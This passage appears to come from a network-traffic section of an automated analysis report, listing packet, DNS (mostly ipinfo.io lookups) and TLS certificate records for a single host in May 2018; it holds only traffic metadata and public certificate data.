May 11, 2018 14:13:54.309345007 CEST	52544	53	192.168.1.13	8.8.8.8
May 11, 2018 14:13:54.547858953 CEST	53	52544	8.8.8.8	192.168.1.13
May 11, 2018 14:13:54.551549911 CEST	49379	53	192.168.1.13	8.8.8.8
May 11, 2018 14:13:54.669951916 CEST	53	49379	8.8.8.8	192.168.1.13
May 11, 2018 14:13:58.264331102 CEST	49215	443	192.168.1.13	216.239.32.21
May 11, 2018 14:14:07.083990097 CEST	60867	53	192.168.1.13	8.8.8.8
May 11, 2018 14:14:07.176320076 CEST	53	60867	8.8.8.8	192.168.1.13
May 11, 2018 14:14:07.307229996 CEST	53873	53	192.168.1.13	8.8.8.8
May 11, 2018 14:14:07.392621040 CEST	53	53873	8.8.8.8	192.168.1.13
May 11, 2018 14:14:09.212855101 CEST	52346	53	192.168.1.13	8.8.8.8
May 11, 2018 14:14:09.296262026 CEST	53	52346	8.8.8.8	192.168.1.13
May 11, 2018 14:14:09.410933971 CEST	64785	53	192.168.1.13	8.8.8.8
May 11, 2018 14:14:09.511224031 CEST	53	64785	8.8.8.8	192.168.1.13
May 11, 2018 14:14:09.545465946 CEST	63370	53	192.168.1.13	8.8.8.8
May 11, 2018 14:14:09.573075056 CEST	57371	53	192.168.1.13	8.8.8.8
May 11, 2018 14:14:09.631927967 CEST	53	63370	8.8.8.8	192.168.1.13
May 11, 2018 14:14:09.674150944 CEST	53	57371	8.8.8.8	192.168.1.13
May 11, 2018 14:14:09.809165001 CEST	49224	443	192.168.1.13	216.239.32.21
May 11, 2018 14:14:09.809200048 CEST	443	49224	216.239.32.21	192.168.1.13
May 11, 2018 14:14:09.839679956 CEST	57964	53	192.168.1.13	8.8.8.8
May 11, 2018 14:14:09.877484083 CEST	54906	53	192.168.1.13	8.8.8.8
May 11, 2018 14:14:09.938025951 CEST	53	57964	8.8.8.8	192.168.1.13
May 11, 2018 14:14:09.997278929 CEST	53	54906	8.8.8.8	192.168.1.13
May 11, 2018 14:14:10.157351017 CEST	443	49224	216.239.32.21	192.168.1.13
May 11, 2018 14:14:10.157509089 CEST	49224	443	192.168.1.13	216.239.32.21
May 11, 2018 14:14:10.168421984 CEST	443	49224	216.239.32.21	192.168.1.13
May 11, 2018 14:14:10.168812990 CEST	49224	443	192.168.1.13	216.239.32.21
May 11, 2018 14:14:13.351130009 CEST	49227	443	192.168.1.13	216.239.32.21
May 11, 2018 14:14:13.351170063 CEST	443	49227	216.239.32.21	192.168.1.13
May 11, 2018 14:14:13.441520929 CEST	443	49227	216.239.32.21	192.168.1.13
May 11, 2018 14:14:13.441679955 CEST	49227	443	192.168.1.13	216.239.32.21
May 11, 2018 14:14:13.443523884 CEST	49227	443	192.168.1.13	216.239.32.21
May 11, 2018 14:14:13.443553925 CEST	443	49227	216.239.32.21	192.168.1.13
May 11, 2018 14:14:13.813950062 CEST	49225	443	192.168.1.13	216.239.32.21
May 11, 2018 14:14:13.813997030 CEST	443	49225	216.239.32.21	192.168.1.13
May 11, 2018 14:14:13.988779068 CEST	49226	443	192.168.1.13	216.239.32.21
May 11, 2018 14:14:13.988810062 CEST	443	49226	216.239.32.21	192.168.1.13
May 11, 2018 14:14:14.047477961 CEST	443	49225	216.239.32.21	192.168.1.13
May 11, 2018 14:14:14.047775030 CEST	49225	443	192.168.1.13	216.239.32.21
May 11, 2018 14:14:14.058192968 CEST	443	49225	216.239.32.21	192.168.1.13
May 11, 2018 14:14:14.058624029 CEST	49225	443	192.168.1.13	216.239.32.21
May 11, 2018 14:14:14.254936934 CEST	443	49226	216.239.32.21	192.168.1.13
May 11, 2018 14:14:14.255086899 CEST	49226	443	192.168.1.13	216.239.32.21
May 11, 2018 14:14:14.266304016 CEST	443	49226	216.239.32.21	192.168.1.13
May 11, 2018 14:14:14.266463041 CEST	49226	443	192.168.1.13	216.239.32.21
May 11, 2018 14:14:14.390063047 CEST	49233	443	192.168.1.13	216.239.38.21
May 11, 2018 14:14:14.390108109 CEST	443	49233	216.239.38.21	192.168.1.13
May 11, 2018 14:14:14.390521049 CEST	49233	443	192.168.1.13	216.239.38.21
May 11, 2018 14:14:14.416470051 CEST	49233	443	192.168.1.13	216.239.38.21
May 11, 2018 14:14:14.416498899 CEST	443	49233	216.239.38.21	192.168.1.13
May 11, 2018 14:14:14.546428919 CEST	443	49233	216.239.38.21	192.168.1.13
May 11, 2018 14:14:14.546677113 CEST	49233	443	192.168.1.13	216.239.38.21
May 11, 2018 14:14:14.557339907 CEST	49233	443	192.168.1.13	216.239.38.21
May 11, 2018 14:14:14.557413101 CEST	443	49233	216.239.38.21	192.168.1.13
May 11, 2018 14:14:14.660564899 CEST	49234	443	192.168.1.13	216.239.38.21
May 11, 2018 14:14:14.660621881 CEST	443	49234	216.239.38.21	192.168.1.13
May 11, 2018 14:14:14.660985947 CEST	49234	443	192.168.1.13	216.239.38.21
May 11, 2018 14:14:14.714143991 CEST	49234	443	192.168.1.13	216.239.38.21
May 11, 2018 14:14:14.714175940 CEST	443	49234	216.239.38.21	192.168.1.13
May 11, 2018 14:14:14.846615076 CEST	443	49234	216.239.38.21	192.168.1.13
May 11, 2018 14:14:14.846744061 CEST	49234	443	192.168.1.13	216.239.38.21
May 11, 2018 14:14:14.852900982 CEST	49234	443	192.168.1.13	216.239.38.21
May 11, 2018 14:14:14.852940083 CEST	443	49234	216.239.38.21	192.168.1.13
May 11, 2018 14:14:14.949018002 CEST	49235	443	192.168.1.13	216.239.38.21
May 11, 2018 14:14:14.949067116 CEST	443	49235	216.239.38.21	192.168.1.13
May 11, 2018 14:14:14.949143887 CEST	49235	443	192.168.1.13	216.239.38.21
May 11, 2018 14:14:15.000196934 CEST	49235	443	192.168.1.13	216.239.38.21
May 11, 2018 14:14:15.000228882 CEST	443	49235	216.239.38.21	192.168.1.13
May 11, 2018 14:14:15.152610064 CEST	443	49235	216.239.38.21	192.168.1.13
May 11, 2018 14:14:15.152760029 CEST	49235	443	192.168.1.13	216.239.38.21
May 11, 2018 14:14:15.154128075 CEST	49235	443	192.168.1.13	216.239.38.21
May 11, 2018 14:14:15.154165983 CEST	443	49235	216.239.38.21	192.168.1.13
May 11, 2018 14:14:15.265995026 CEST	49236	443	192.168.1.13	216.239.38.21
May 11, 2018 14:14:15.266043901 CEST	443	49236	216.239.38.21	192.168.1.13
May 11, 2018 14:14:15.266417027 CEST	49236	443	192.168.1.13	216.239.38.21
May 11, 2018 14:14:15.266935110 CEST	49236	443	192.168.1.13	216.239.38.21
May 11, 2018 14:14:15.266994953 CEST	443	49236	216.239.38.21	192.168.1.13
May 11, 2018 14:14:15.267194033 CEST	443	49236	216.239.38.21	192.168.1.13
May 11, 2018 14:14:15.267707109 CEST	49236	443	192.168.1.13	216.239.38.21
May 11, 2018 14:14:15.411530972 CEST	49237	443	192.168.1.13	216.239.32.21
May 11, 2018 14:14:15.411581039 CEST	443	49237	216.239.32.21	192.168.1.13
May 11, 2018 14:14:15.411941051 CEST	49237	443	192.168.1.13	216.239.32.21
May 11, 2018 14:14:15.455889940 CEST	49237	443	192.168.1.13	216.239.32.21
May 11, 2018 14:14:15.455919981 CEST	443	49237	216.239.32.21	192.168.1.13
May 11, 2018 14:14:15.573177099 CEST	443	49237	216.239.32.21	192.168.1.13
May 11, 2018 14:14:15.573326111 CEST	49237	443	192.168.1.13	216.239.32.21
May 11, 2018 14:14:15.623972893 CEST	49237	443	192.168.1.13	216.239.32.21
May 11, 2018 14:14:15.624006033 CEST	443	49237	216.239.32.21	192.168.1.13
May 11, 2018 14:14:16.259994984 CEST	49237	443	192.168.1.13	216.239.32.21
May 11, 2018 14:14:16.260040998 CEST	443	49237	216.239.32.21	192.168.1.13
May 11, 2018 14:14:16.755234003 CEST	443	49237	216.239.32.21	192.168.1.13
May 11, 2018 14:14:16.755369902 CEST	49237	443	192.168.1.13	216.239.32.21
May 11, 2018 14:14:16.798023939 CEST	443	49237	216.239.32.21	192.168.1.13
May 11, 2018 14:14:16.798176050 CEST	49237	443	192.168.1.13	216.239.32.21
May 11, 2018 14:14:23.393032074 CEST	54081	3702	192.168.1.13	239.255.255.250
May 11, 2018 14:14:23.393053055 CEST	54081	3702	192.168.1.13	239.255.255.250
May 11, 2018 14:14:23.430977106 CEST	49238	5357	192.168.1.13	192.168.1.60
May 11, 2018 14:14:23.590585947 CEST	54081	3702	192.168.1.13	239.255.255.250
May 11, 2018 14:14:23.590594053 CEST	54081	3702	192.168.1.13	239.255.255.250
May 11, 2018 14:14:25.963871002 CEST	3702	52654	192.168.1.13	192.168.1.60
May 11, 2018 14:14:26.108445883 CEST	3702	52654	192.168.1.13	192.168.1.60
May 11, 2018 14:14:26.207403898 CEST	3702	61463	192.168.1.13	192.168.1.60
May 11, 2018 14:14:26.306468010 CEST	3702	61463	192.168.1.13	192.168.1.60
May 11, 2018 14:14:26.380635023 CEST	54081	3702	192.168.1.13	239.255.255.250
May 11, 2018 14:14:26.380644083 CEST	54081	3702	192.168.1.13	239.255.255.250
May 11, 2018 14:14:26.392072916 CEST	49239	5357	192.168.1.13	192.168.1.60
May 11, 2018 14:14:26.502098083 CEST	54081	3702	192.168.1.13	239.255.255.250
May 11, 2018 14:14:26.502115011 CEST	54081	3702	192.168.1.13	239.255.255.250
May 11, 2018 14:14:29.460625887 CEST	49239	5357	192.168.1.13	192.168.1.60
May 11, 2018 14:14:35.547765970 CEST	49239	5357	192.168.1.13	192.168.1.60
May 11, 2018 14:15:29.990816116 CEST	49226	443	192.168.1.13	216.239.32.21
May 11, 2018 14:15:29.991029024 CEST	443	49226	216.239.32.21	192.168.1.13
May 11, 2018 14:15:29.991134882 CEST	49226	443	192.168.1.13	216.239.32.21
May 11, 2018 14:15:30.637753963 CEST	49224	443	192.168.1.13	216.239.32.21
May 11, 2018 14:15:30.637921095 CEST	443	49224	216.239.32.21	192.168.1.13
May 11, 2018 14:15:30.638298035 CEST	49224	443	192.168.1.13	216.239.32.21
May 11, 2018 14:15:30.867726088 CEST	49225	443	192.168.1.13	216.239.32.21
May 11, 2018 14:15:30.867887020 CEST	443	49225	216.239.32.21	192.168.1.13
May 11, 2018 14:15:30.868669987 CEST	49225	443	192.168.1.13	216.239.32.21

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 11, 2018 14:13:16.191626072 CEST	60535	53	192.168.1.13	8.8.8.8
May 11, 2018 14:13:16.288918018 CEST	53	60535	8.8.8.8	192.168.1.13
May 11, 2018 14:13:22.429960012 CEST	50453	53	192.168.1.13	8.8.8.8
May 11, 2018 14:13:22.524421930 CEST	53	50453	8.8.8.8	192.168.1.13
May 11, 2018 14:13:22.661784887 CEST	50936	53	192.168.1.13	8.8.8.8
May 11, 2018 14:13:22.758654118 CEST	53	50936	8.8.8.8	192.168.1.13
May 11, 2018 14:13:27.250926971 CEST	49288	53	192.168.1.13	8.8.8.8
May 11, 2018 14:13:27.354892969 CEST	53	49288	8.8.8.8	192.168.1.13
May 11, 2018 14:13:27.397654057 CEST	52651	53	192.168.1.13	8.8.8.8
May 11, 2018 14:13:27.512604952 CEST	53	52651	8.8.8.8	192.168.1.13
May 11, 2018 14:13:33.893663883 CEST	55301	53	192.168.1.13	8.8.8.8
May 11, 2018 14:13:33.903887987 CEST	54419	53	192.168.1.13	8.8.8.8
May 11, 2018 14:13:34.000647068 CEST	53	55301	8.8.8.8	192.168.1.13
May 11, 2018 14:13:34.000706911 CEST	53	54419	8.8.8.8	192.168.1.13
May 11, 2018 14:13:34.025628090 CEST	55031	53	192.168.1.13	8.8.8.8
May 11, 2018 14:13:34.032495975 CEST	57650	53	192.168.1.13	8.8.8.8
May 11, 2018 14:13:34.036679029 CEST	49416	53	192.168.1.13	8.8.8.8
May 11, 2018 14:13:34.043179989 CEST	50121	53	192.168.1.13	8.8.8.8
May 11, 2018 14:13:34.153059959 CEST	53	57650	8.8.8.8	192.168.1.13
May 11, 2018 14:13:34.153117895 CEST	53	49416	8.8.8.8	192.168.1.13
May 11, 2018 14:13:34.194103003 CEST	53	50121	8.8.8.8	192.168.1.13
May 11, 2018 14:13:34.303980112 CEST	53	55031	8.8.8.8	192.168.1.13
May 11, 2018 14:13:34.421216965 CEST	62370	53	192.168.1.13	8.8.8.8
May 11, 2018 14:13:34.424866915 CEST	58664	53	192.168.1.13	8.8.8.8
May 11, 2018 14:13:34.528562069 CEST	53	62370	8.8.8.8	192.168.1.13
May 11, 2018 14:13:34.528636932 CEST	53	58664	8.8.8.8	192.168.1.13
May 11, 2018 14:13:37.160372972 CEST	56915	53	192.168.1.13	8.8.8.8
May 11, 2018 14:13:37.238379002 CEST	53	56915	8.8.8.8	192.168.1.13
May 11, 2018 14:13:42.348515987 CEST	60435	53	192.168.1.13	8.8.8.8
May 11, 2018 14:13:42.422307968 CEST	59799	53	192.168.1.13	8.8.8.8
May 11, 2018 14:13:42.443893909 CEST	53	60435	8.8.8.8	192.168.1.13
May 11, 2018 14:13:42.525074959 CEST	51000	53	192.168.1.13	8.8.8.8
May 11, 2018 14:13:42.531320095 CEST	53	59799	8.8.8.8	192.168.1.13
May 11, 2018 14:13:42.618696928 CEST	53	51000	8.8.8.8	192.168.1.13
May 11, 2018 14:13:54.309345007 CEST	52544	53	192.168.1.13	8.8.8.8
May 11, 2018 14:13:54.547858953 CEST	53	52544	8.8.8.8	192.168.1.13
May 11, 2018 14:13:54.551549911 CEST	49379	53	192.168.1.13	8.8.8.8
May 11, 2018 14:13:54.669951916 CEST	53	49379	8.8.8.8	192.168.1.13
May 11, 2018 14:14:07.083990097 CEST	60867	53	192.168.1.13	8.8.8.8
May 11, 2018 14:14:07.176320076 CEST	53	60867	8.8.8.8	192.168.1.13
May 11, 2018 14:14:07.307229996 CEST	53873	53	192.168.1.13	8.8.8.8
May 11, 2018 14:14:07.392621040 CEST	53	53873	8.8.8.8	192.168.1.13
May 11, 2018 14:14:09.212855101 CEST	52346	53	192.168.1.13	8.8.8.8
May 11, 2018 14:14:09.296262026 CEST	53	52346	8.8.8.8	192.168.1.13
May 11, 2018 14:14:09.410933971 CEST	64785	53	192.168.1.13	8.8.8.8
May 11, 2018 14:14:09.511224031 CEST	53	64785	8.8.8.8	192.168.1.13
May 11, 2018 14:14:09.545465946 CEST	63370	53	192.168.1.13	8.8.8.8
May 11, 2018 14:14:09.573075056 CEST	57371	53	192.168.1.13	8.8.8.8
May 11, 2018 14:14:09.631927967 CEST	53	63370	8.8.8.8	192.168.1.13
May 11, 2018 14:14:09.674150944 CEST	53	57371	8.8.8.8	192.168.1.13
May 11, 2018 14:14:09.839679956 CEST	57964	53	192.168.1.13	8.8.8.8
May 11, 2018 14:14:09.877484083 CEST	54906	53	192.168.1.13	8.8.8.8
May 11, 2018 14:14:09.938025951 CEST	53	57964	8.8.8.8	192.168.1.13
May 11, 2018 14:14:09.997278929 CEST	53	54906	8.8.8.8	192.168.1.13
May 11, 2018 14:14:23.393032074 CEST	54081	3702	192.168.1.13	239.255.255.250
May 11, 2018 14:14:23.393053055 CEST	54081	3702	192.168.1.13	239.255.255.250
May 11, 2018 14:14:23.590585947 CEST	54081	3702	192.168.1.13	239.255.255.250
May 11, 2018 14:14:23.590594053 CEST	54081	3702	192.168.1.13	239.255.255.250
May 11, 2018 14:14:25.963871002 CEST	3702	52654	192.168.1.13	192.168.1.60
May 11, 2018 14:14:26.108445883 CEST	3702	52654	192.168.1.13	192.168.1.60
May 11, 2018 14:14:26.207403898 CEST	3702	61463	192.168.1.13	192.168.1.60
May 11, 2018 14:14:26.306468010 CEST	3702	61463	192.168.1.13	192.168.1.60
May 11, 2018 14:14:26.380635023 CEST	54081	3702	192.168.1.13	239.255.255.250
May 11, 2018 14:14:26.380644083 CEST	54081	3702	192.168.1.13	239.255.255.250
May 11, 2018 14:14:26.502098083 CEST	54081	3702	192.168.1.13	239.255.255.250
May 11, 2018 14:14:26.502115011 CEST	54081	3702	192.168.1.13	239.255.255.250

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
May 11, 2018 14:13:16.191626072 CEST	192.168.1.13	8.8.8.8	0xc7d9	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)
May 11, 2018 14:13:27.250926971 CEST	192.168.1.13	8.8.8.8	0x8e82	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)
May 11, 2018 14:13:27.397654057 CEST	192.168.1.13	8.8.8.8	0x7825	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)
May 11, 2018 14:13:34.043179989 CEST	192.168.1.13	8.8.8.8	0xbfa9	Standard query (0)	ocsp.int-x3.letsencrypt.org	A (IP address)	IN (0x0001)
May 11, 2018 14:13:34.424866915 CEST	192.168.1.13	8.8.8.8	0x2ff2	Standard query (0)	ocsp.int-x3.letsencrypt.org	A (IP address)	IN (0x0001)
May 11, 2018 14:13:37.160372972 CEST	192.168.1.13	8.8.8.8	0x7d9	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)
May 11, 2018 14:13:42.348515987 CEST	192.168.1.13	8.8.8.8	0x8e12	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)
May 11, 2018 14:13:42.422307968 CEST	192.168.1.13	8.8.8.8	0x4239	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)
May 11, 2018 14:13:42.525074959 CEST	192.168.1.13	8.8.8.8	0x9fb0	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Replay Code	Name	Address	Type	Class
May 11, 2018 14:13:16.288918018 CEST	8.8.8.8	192.168.1.13	0xc7d9	No error (0)	ipinfo.io	216.239.32.21	A (IP address)	IN (0x0001)
May 11, 2018 14:13:27.354892969 CEST	8.8.8.8	192.168.1.13	0x8e82	No error (0)	ipinfo.io	216.239.32.21	A (IP address)	IN (0x0001)
May 11, 2018 14:13:27.512604952 CEST	8.8.8.8	192.168.1.13	0x7825	No error (0)	ipinfo.io	216.239.32.21	A (IP address)	IN (0x0001)
May 11, 2018 14:13:34.194103003 CEST	8.8.8.8	192.168.1.13	0xbfa9	No error (0)	ocsp.int-x3.letsencrypt.org	2.16.186.11	A (IP address)	IN (0x0001)
May 11, 2018 14:13:34.528636932 CEST	8.8.8.8	192.168.1.13	0x2ff2	No error (0)	ocsp.int-x3.letsencrypt.org	2.16.186.11	A (IP address)	IN (0x0001)
May 11, 2018 14:13:37.238379002 CEST	8.8.8.8	192.168.1.13	0x7d9	No error (0)	ipinfo.io	216.239.32.21	A (IP address)	IN (0x0001)
May 11, 2018 14:13:42.443893909 CEST	8.8.8.8	192.168.1.13	0x8e12	No error (0)	ipinfo.io	216.239.32.21	A (IP address)	IN (0x0001)
May 11, 2018 14:13:42.531320095 CEST	8.8.8.8	192.168.1.13	0x4239	No error (0)	ipinfo.io	216.239.32.21	A (IP address)	IN (0x0001)
May 11, 2018 14:13:42.618696928 CEST	8.8.8.8	192.168.1.13	0x9fb0	No error (0)	ipinfo.io	216.239.32.21	A (IP address)	IN (0x0001)

HTTPS Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Subject	Issuer	Not Before	Not After	Raw
May 11, 2018 14:13:16.473293066 CEST	443	49188	216.239.32.21	192.168.1.13	CN=ipinfo.io	CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US	Wed May 02 04:14:57 CEST 2018	Tue Jul 31 04:14:57 CEST 2018	[[ Version: V3 Subject: CN=ipinfo.io Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11 Key: Sun RSA public key, 2048 bits modulus: 26147892589792244358670635135877219865952817375752389827951013179201955256426848533007246584458633626197317677435688092351462835591281770205106169370153273213168417095408143083709386565762758754665362777167021619623499758265089705900972803317025082094190341677401740354620038374223250920348380753200236988199552759736979907329385652629465415679430755200722829574000628330409390333820905754403627681325727307763919710598291157308707781003556889107549302677705475933885358922993588039116821296857777502783685899408864942557549637674486119652881384823473805817111555501709331951791094092773411354396742422486319073696379 public exponent: 65537 Validity: [From: Wed May 02 04:14:57 CEST 2018, To: Tue Jul 31 04:14:57 CEST 2018] Issuer: CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US SerialNumber: [ 03345185 46293bd4 507e2dc6 ba311896 9d6d]Certificate Extensions: 9[1]: ObjectId: 1.3.6.1.4.1.11129.2.4.2 Criticality=falseExtension unknown: DER encoded OCTET string =0000: 04 81 F5 04 81 F2 00 F0 00 76 00 DB 74 AF EE CB .........v..t...0010: 29 EC B1 FE CA 3E 71 6D 2C E5 B9 AA BB 36 F7 84 )....>qm,....6..0020: 71 83 C7 5D 9D 4F 37 B6 1F BF 64 00 00 01 63 1E q..].O7...d...c.0030: D8 88 DA 00 00 04 03 00 47 30 45 02 20 4A F4 56 ........G0E. J.V0040: 70 04 BD 41 B2 33 A5 D8 A3 13 C3 14 07 29 CF 42 p..A.3.......).B0050: 96 B5 10 B9 AB 71 94 26 97 78 35 D7 51 02 21 00 .....q.&.x5.Q.!.0060: C3 73 79 9F 76 B8 40 74 A9 A6 43 56 B7 F3 79 41 .sy.v.@t..CV..yA0070: F7 8E BC 76 69 B9 9F 6B AC 26 0B B8 DD 16 FC FF ...vi..k.&......0080: 00 76 00 A4 50 12 69 05 5A 15 54 5E 62 11 AB 37 .v..P.i.Z.T^b..70090: BC 10 3F 62 AE 55 76 A4 5E 4B 17 14 45 3E 1B 22 ..?b.Uv.^K..E>."00A0: 10 6A 25 00 00 01 63 1E D8 88 C4 00 00 04 03 00 .j%...c.........00B0: 47 30 45 02 21 00 C7 76 DB E9 6F 37 74 58 AB B8 G0E.!..v..o7tX..00C0: E3 E3 3A FF D7 FD 7B B2 88 05 AA 1E F7 3B C9 23 ..:..........;.#00D0: 3F DA 91 FB 89 10 02 20 15 30 C8 96 51 54 CA E2 ?...... .0..QT..00E0: 48 84 27 C9 3A 33 47 C9 E7 19 1A 1F A1 FA 1D B1 H.'.:3G.........00F0: 8B 57 1A 89 C9 D3 4C 76 .W....Lv[2]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: ocsp accessLocation: URIName: http://ocsp.int-x3.letsencrypt.org, accessMethod: caIssuers accessLocation: URIName: http://cert.int-x3.letsencrypt.org/]][3]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: A8 4A 6A 63 04 7D DD BA E6 D1 39 B7 A6 45 65 EF .Jjc......9..Ee.0010: F3 A8 EC A1 ....]][4]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:false PathLen: undefined][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.23.140.1.2.1][] ] [CertificatePolicyId: [1.3.6.1.4.1.44947.1.1.1][PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.1 qualifier: 0000: 16 1A 68 74 74 70 3A 2F 2F 63 70 73 2E 6C 65 74 ..http://cps.let0010: 73 65 6E 63 72 79 70 74 2E 6F 72 67 sencrypt.org], PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.2 qualifier: 0000: 30 81 9E 0C 81 9B 54 68 69 73 20 43 65 72 74 69 0.....This Certi0010: 66 69 63 61 74 65 20 6D 61 79 20 6F 6E 6C 79 20 ficate may only 0020: 62 65 20 72 65 6C 69 65 64 20 75 70 6F 6E 20 62 be relied upon b0030: 79 20 52 65 6C 79 69 6E 67 20 50 61 72 74 69 65 y Relying Partie0040: 73 20 61 6E 64 20 6F 6E 6C 79 20 69 6E 20 61 63 s and only in ac0050: 63 6F 72 64 61 6E 63 65 20 77 69 74 68 20 74 68 cordance with th0060: 65 20 43 65 72 74 69 66 69 63 61 74 65 20 50 6F e Certificate Po0070: 6C 69 63 79 20 66 6F 75 6E 64 20 61 74 20 68 74 licy found at ht0080: 74 70 73 3A 2F 2F 6C 65 74 73 65 6E 63 72 79 70 tps://letsencryp0090: 74 2E 6F 72 67 2F 72 65 70 6F 73 69 74 6F 72 79 t.org/repository00A0: 2F /]] ]][6]: ObjectId: 2.5.29.37 Criticality=falseExtendedKeyUsages [ serverAuth clientAuth][7]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_Encipherment][8]: ObjectId: 2.5.29.17 Criticality=falseSubjectAlternativeName [ DNSName: ipinfo.io][9]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: E2 7D C6 13 A8 1B A0 51 4F 2F 9D C4 89 D9 0F 31 .......QO/.....10010: 9A 35 D8 5A .5.Z]]] Algorithm: [SHA256withRSA] Signature:0000: 5B 60 4B 9E 00 A4 F7 4E 7C 95 03 6A 67 E5 71 B2 [`K....N...jg.q.0010: 1C B6 6D 60 EA 9F B1 A2 3C BA BF 3B 05 15 12 75 ..m`....<..;...u0020: F8 8F BD 60 54 80 B3 C6 C6 C5 F6 79 B8 F6 AC E6 ...`T......y....0030: DC CD 7D 9D 2F 61 9C E6 85 A7 EC E3 4B FF B0 7A ..../a......K..z0040: DA 70 80 76 77 EA 52 F4 2A B3 6B 90 95 63 35 8D .p.vw.R.*.k..c5.0050: 47 E2 E5 47 6D 9C 80 86 D9 B4 9F 14 86 74 42 1F G..Gm........tB.0060: 7E 93 F8 51 5C 50 83 36 77 02 27 CF F2 80 AE 29 ...Q\P.6w.'....)0070: 4B 97 D5 F1 63 BC 14 08 DF 71 93 85 87 1D 84 61 K...c....q.....a0080: ED 65 14 AD 1A B8 EE E6 C5 EB F3 B1 CB 0C 75 F0 .e............u.0090: 9A B0 31 B0 48 FC 42 69 1A 13 9C E6 45 37 0E EF ..1.H.Bi....E7..00A0: A8 42 A8 C7 B0 4A 16 B2 81 61 D4 E9 A3 32 8E 33 .B...J...a...2.300B0: 97 73 57 84 88 E2 EA B2 CA 84 B9 BD BF 5E 1A 83 .sW..........^..00C0: 73 CB 15 FE 1A CF 09 C2 7E 3A 3C F3 1A D1 53 72 s........:<...Sr00D0: 6F F2 45 0C DD BF C3 D1 5F 6B 51 AF 93 BD D0 76 o.E....._kQ....v00E0: EB 1C DD 60 C3 5E CD 34 F4 42 7B 9D C4 94 39 48 ...`.^.4.B....9H00F0: 8A 02 FD 4D 30 DB FC 40 14 AF 56 6D 42 14 54 DE ...M0..@..VmB.T.]
May 11, 2018 14:13:16.473293066 CEST	443	49188	216.239.32.21	192.168.1.13	CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US	CN=DST Root CA X3, O=Digital Signature Trust Co.	Thu Mar 17 17:40:46 CET 2016	Wed Mar 17 17:40:46 CET 2021	[[ Version: V3 Subject: CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11 Key: Sun RSA public key, 2048 bits modulus: 19797248476075437682355852246492227182925025209894527646389863306257272162327717438476096960751529894413137923782807258828237626757946953550223743258656059351948211427799114263948499232121738590221774214131983890556391436336270214266656447169277800971416884432628642288505627878176138101439755752196484972290641499489076846352390454201028735981960275647482014359370041238010607728611828345534572152635280172155598035959878659370929022966413402097129857505568509453268467065766156311136296802046438183697980908977865999500405760226706893415483460747503705792669060406182022181441316967415301631965711690685520847684499 public exponent: 65537 Validity: [From: Thu Mar 17 17:40:46 CET 2016, To: Wed Mar 17 17:40:46 CET 2021] Issuer: CN=DST Root CA X3, O=Digital Signature Trust Co. SerialNumber: [ 0a014142 00000153 85736a0b 85eca708]Certificate Extensions: 7[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: ocsp accessLocation: URIName: http://isrg.trustid.ocsp.identrust.com, accessMethod: caIssuers accessLocation: URIName: http://apps.identrust.com/roots/dstrootcax3.p7c]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: C4 A7 B1 A4 7B 2C 71 FA DB E1 4B 90 75 FF C4 15 .....,q...K.u...0010: 60 85 89 10 `...]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:true PathLen:0][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.identrust.com/DSTROOTCAX3CRL.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.23.140.1.2.1][] ] [CertificatePolicyId: [1.3.6.1.4.1.44947.1.1.1][PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.1 qualifier: 0000: 16 22 68 74 74 70 3A 2F 2F 63 70 73 2E 72 6F 6F ."http://cps.roo0010: 74 2D 78 31 2E 6C 65 74 73 65 6E 63 72 79 70 74 t-x1.letsencrypt0020: 2E 6F 72 67 .org]] ]][6]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_CertSign Crl_Sign][7]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: A8 4A 6A 63 04 7D DD BA E6 D1 39 B7 A6 45 65 EF .Jjc......9..Ee.0010: F3 A8 EC A1 ....]]] Algorithm: [SHA256withRSA] Signature:0000: DD 33 D7 11 F3 63 58 38 DD 18 15 FB 09 55 BE 76 .3...cX8.....U.v0010: 56 B9 70 48 A5 69 47 27 7B C2 24 08 92 F1 5A 1F V.pH.iG'..$...Z.0020: 4A 12 29 37 24 74 51 1C 62 68 B8 CD 95 70 67 E5 J.)7$tQ.bh...pg.0030: F7 A4 BC 4E 28 51 CD 9B E8 AE 87 9D EA D8 BA 5A ...N(Q.........Z0040: A1 01 9A DC F0 DD 6A 1D 6A D8 3E 57 23 9E A6 1E ......j.j.>W#...0050: 04 62 9A FF D7 05 CA B7 1F 3F C0 0A 48 BC 94 B0 